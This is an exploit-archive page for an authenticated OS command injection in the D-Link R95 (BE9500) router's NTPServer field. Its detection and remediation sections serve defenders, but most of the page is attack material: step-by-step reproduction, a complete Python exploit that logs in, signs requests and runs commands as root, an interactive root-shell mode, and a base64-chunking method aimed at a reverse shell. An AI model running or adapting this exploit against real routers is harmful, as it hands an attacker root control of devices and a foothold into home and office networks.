PoC Archive PoC Archive
CVE-2026-93958 category: web CVSS 9.1 (CRITICAL)
Unpatched

D-Link R95 (BE9500) DHMAPI SetTimeSettings NTPServer Command Injection — CVE-2026-93958

Published: 2026-11-25 • Researcher: HackSpeak (mirror repo); original research and exploit by FoundTL (FoundTL/D-Link-R95-BE9500); CVE via VulDB

Target software D-Link R95 (BE9500) Wi-Fi 7 Smart Router — web management DHMAPI backend /bin/ssi
Affected versions Firmware BE9500_1.00.16 (per NVD description); upstream report tested firmware 1.01B06. NVD supplied no explicit product/version-range objects, so see references for the authoritative range.
Status Weaponized
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-93958
Category
web
Affected product
D-Link R95 (BE9500) Wi-Fi 7 Smart Router — web management DHMAPI backend /bin/ssi
Affected versions
Firmware BE9500_1.00.16 (per NVD description); upstream report tested firmware 1.01B06. NVD supplied no explicit product/version-range objects, so see references for the authoritative range.
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-20
Author / ResearcherHackSpeak (mirror repo); original research and exploit by FoundTL (FoundTL/D-Link-R95-BE9500); CVE via VulDB
CVE / AdvisoryCVE-2026-93958
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1, per NVD/worklist; CVSSv4.0 8.5 and CVSSv2 8.3 per upstream report; vector not supplied in worklist data — see references)
StatusWeaponized
TagsRCE, command-injection, authenticated, D-Link, router, SOAP, DHMAPI, embedded, root, IoT
RelatedN/A

Affected Target

FieldValue
Software / SystemD-Link R95 (BE9500) Wi-Fi 7 Smart Router — web management DHMAPI backend /bin/ssi
Versions AffectedFirmware BE9500_1.00.16 (per NVD description); upstream report tested firmware 1.01B06. NVD supplied no explicit product/version-range objects, so see references for the authoritative range.
Language / PlatformTarget: embedded Linux (BusyBox ash) router firmware, DHMAPI over HTTPS on port 18443 or 443. Exploit: Python 3 with the requests library
Authentication RequiredYes — valid administrator web session plus HMAC-signed API-AUTH header
Network Access RequiredYes — HTTPS to the router management interface (LAN, or WAN if remote management is enabled)

Summary

CVE-2026-93958 is an OS command injection in the D-Link R95 BE9500 Wi-Fi 7 router firmware. The SetTimeSettings SOAP handler in the root-running web management binary ssi copies the NTPServer field into the configuration database without validating shell metacharacters, and the value is later interpolated into a double-quoted shell command, so backticks or dollar-parenthesis sequences are evaluated as command substitution. An attacker holding a valid administrator session can therefore execute arbitrary commands as root and take full control of the device. The public exploit performs the login handshake, injects commands through the NTPServer field, and reads the output back from a file dropped in the web root.

Vulnerability Details

Root Cause

The DHMAPI SetTimeSettings handler in /bin/ssi (function at offset 0x6bd84 in firmware 1.01B06) copies the <NTPServer> SOAP element into a stack buffer capped at 0x3f (63) bytes and stores it verbatim into the internal configuration key time.value.NTPServer. The 63-byte cap is a buffer-size limit, not a security control: no filtering or escaping of shell metacharacters occurs. When the configuration is synchronised to UCI, ssi builds shell strings such as uci set %s="%s" > /dev/null and executes them through a system()-style call. Because the value is wrapped in double quotes, the shell still performs command substitution on embedded backticks and $(...), and because ssi runs as root the injected command inherits root privileges. The poisoned value also persists into ntpclient.@ntpserver[0].hostname and is later consumed unquoted by /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), a second-order gap.

Attack Vector

An authenticated attacker sends HTTPS POST requests to /DHMAPI/ with the SetTimeSettings SOAP action and a crafted <NTPServer> value such as `id > /www/m_id.txt`. Every request must carry a Cookie: uid=<session cookie> plus an API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts> header; the session and private key are obtained through the two-step DHMAPI Login exchange. The device does not validate the freshness of the timestamp, so a fixed ts value is reusable. The injected command runs synchronously while the request is handled, which is observable as a response delay for payloads such as `sleep 10`. Field length is the only practical constraint: values up to roughly 63 bytes are accepted and the ampersand character must be avoided.

Impact

Arbitrary command execution as uid=0(root) gid=0(root) on the router. The upstream research demonstrates a full root shell via a base64-fragmented reverse-shell script, and full device compromise allows reading of sensitive material such as /etc/rg_config/admin ciphertext and configuration backups, installation of persistent backdoors, and pivoting into the internal network. The upstream report notes at least seven further authenticated injection points in the same firmware (TZLocation, DeviceName, DDNS Hostname/Username, client NickName, and a second-order issue via SetNetworkSettings).

Environment / Lab Setup

Output
OS:          Any Linux host for the exploit; target is the router firmware itself
Target:      D-Link R95 (BE9500), firmware BE9500_1.00.16 / 1.01B06,
             management UI at https://<device-ip>:18443 (443 on a real device)
Attacker:    Python 3.8+ with requests; same LAN as the device
Tools:       Python 3, requests, curl, a listener such as nc for the reverse shell

Setup Steps

Shell script
1
2
python3 -m venv venv && . venv/bin/activate
pip install requests

Because the vulnerability lives in the vendor firmware’s /bin/ssi, no public container or firmware image is bundled with this entry; a physical or emulated device is required. The upstream report is the authoritative lab description.

Proof of Concept

Step-by-Step Reproduction

  1. Obtain the login challenge — POST to /DHMAPI/ with API-ACTION: Login, a Login body carrying Action=request and the username, signed with the static withoutloginkey string. The response returns Challenge, Cookie, PublicKey and SaltHash.
  2. Complete authentication — derive privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge)), where e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (or the plain password when SaltHash is absent), then send Action=login with LoginPassword = UPPERHEX(HMAC-SHA256(privkey, Challenge)). Expect <LoginResult>success</LoginResult>.
  3. Inject the command — send a SetTimeSettings request whose <NTPServer> value contains a backtick-wrapped command that redirects its output into the web root, e.g. `id > /www/m_id.txt`, with Cookie: uid=<session cookie> and a valid API-AUTH header for the action.
  4. Retrieve the output — GET https://<device>/m_id.txt with a browser-like User-Agent and Referer; the body contains the command output.
  5. Optional reverse shell — because the field is limited to about 63 bytes, write a script in base64 fragments with repeated echo -n <fragment> >> /tmp/x injections, decode it with base64 -d, and trigger it with sh.

Exploit Code

See exploit_r95_ntpserver.py (the upstream EXP extracted from the report). The full upstream write-up is in upstream-analysis.md and the mirror’s notes in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
body = ('<?xml version="1.0" encoding="utf-8"?>'
        '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
        '<SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer>'
        '<Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>')

headers = {
    "API-ACTION": "SetTimeSettings",
    "API-AUTH": "<UPPERHEX(HMAC-SHA256(privkey, ts+'SetTimeSettings'))> <ts>",
    "Content-Type": "text/xml; charset=utf-8",
    "User-Agent": "Mozilla/5.0",
    "Referer": "https://192.168.2.254:18443/info/Login.html",
    "Cookie": "uid=<session cookie>",
}

Usage of the archived exploit:

Shell script
1
2
python3 exploit_r95_ntpserver.py            # interactive root shell on the device
python3 exploit_r95_ntpserver.py "id"       # run one command and read the output back

Expected Output

Output
1
2
[+] login OK, cookie=<session cookie>
uid=0(root) gid=0(root)

Detection & Indicators of Compromise

  • HTTPS POSTs to /DHMAPI/ with API-ACTION: SetTimeSettings whose <NTPServer> value contains backticks, $(, ;, |, >, sleep, wget, nc or base64.
  • New or unexpected files in the web root (/www), for example m_id.txt, e, or x style names, followed by direct GET requests for them from the same client.
  • Requests to /DHMAPI/ that reuse the same millisecond timestamp across many actions, or a burst of SetTimeSettings calls appending base64 fragments to /tmp/x.
  • Configuration state showing shell metacharacters in ntpclient.@ntpserver[0].hostname or time.value.NTPServer, and start_ntpclient.sh invocations with a suspicious hostname.
  • Outbound reverse-shell connections from the router to unusual external addresses and ports, or unexpected listening processes on the device.
  • Router log entries for successful administrator logins from untrusted sources, especially repeated Login request/login pairs before a configuration change.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"D-Link R95 DHMAPI NTPServer command injection"; \
  content:"SetTimeSettings"; http_header; content:"NTPServer"; http_client_body; \
  pcre:"/NTPServer>\s*`[^`]+`/i"; sid:9395801;)

Remediation

ActionDetail
PatchApply the fixed D-Link R95/BE9500 firmware once published; confirm the version against D-Link’s advisory for CVE-2026-93958 (see references). No fixed build was confirmed in the ingested data.
WorkaroundDisable WAN/remote management and restrict the management interface to a trusted LAN segment; rotate the administrator password and avoid default credentials, which the upstream report notes amplify the impact.
Config HardeningEnforce strict allow-list validation ([A-Za-z0-9.-]) on hostname-type fields before storage, replace system() string concatenation with the libuci API or exec* calls, quote $HOSTNAME in /bin/start_ntpclient.sh, run the web management service with reduced privileges, and monitor for unexpected files in the web root.

References

Notes

Auto-ingested from https://github.com/HackSpeak/CVE-2026-93958 on 2026-11-25. Review verdict: a genuine weaponized exploit, not a detector — the repository contains a complete Python EXP (login handshake, HMAC-signed requests, command injection, output retrieval and base64 chunking for long commands) plus a detailed upstream technical report; the exploit was not executed during ingestion.

License: MIT (HackSpeak, 2026), with attribution to the original researcher FoundTL. Limitations: exploitation requires valid administrator credentials and network access to the management interface, so it is post-authentication; the NTPServer field is limited to roughly 63 bytes and the ampersand character must be avoided; the upstream report also warns that the device does not validate API-AUTH timestamp freshness, which is itself a weakness. No fixed firmware version was confirmed from the ingested data, so the patch status should be verified with the vendor. The five upstream PNG screenshots and the report’s image references were not copied (only source and documentation files were archived), and the target device was not available for independent verification.

exploit_r95_ntpserver.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/HackSpeak/CVE-2026-93958 (see README for attribution/license)
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)